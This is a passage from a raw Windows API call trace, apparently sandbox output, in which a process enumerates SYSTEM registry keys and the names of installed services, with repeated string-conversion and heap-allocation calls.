lpUsedDefaultChar=0x0) returned 13 [0175.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.918] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.918] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.918] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.918] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0175.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.919] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.919] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.919] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0175.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.919] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0175.919] RegCloseKey (hKey=0x9c) returned 0x0 [0175.919] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.920] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.920] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.920] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0175.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.921] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.921] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0175.921] RegCloseKey (hKey=0x140) returned 0x0 [0175.921] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.921] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.921] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0175.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.922] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.922] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.922] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.922] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0175.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.923] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.923] 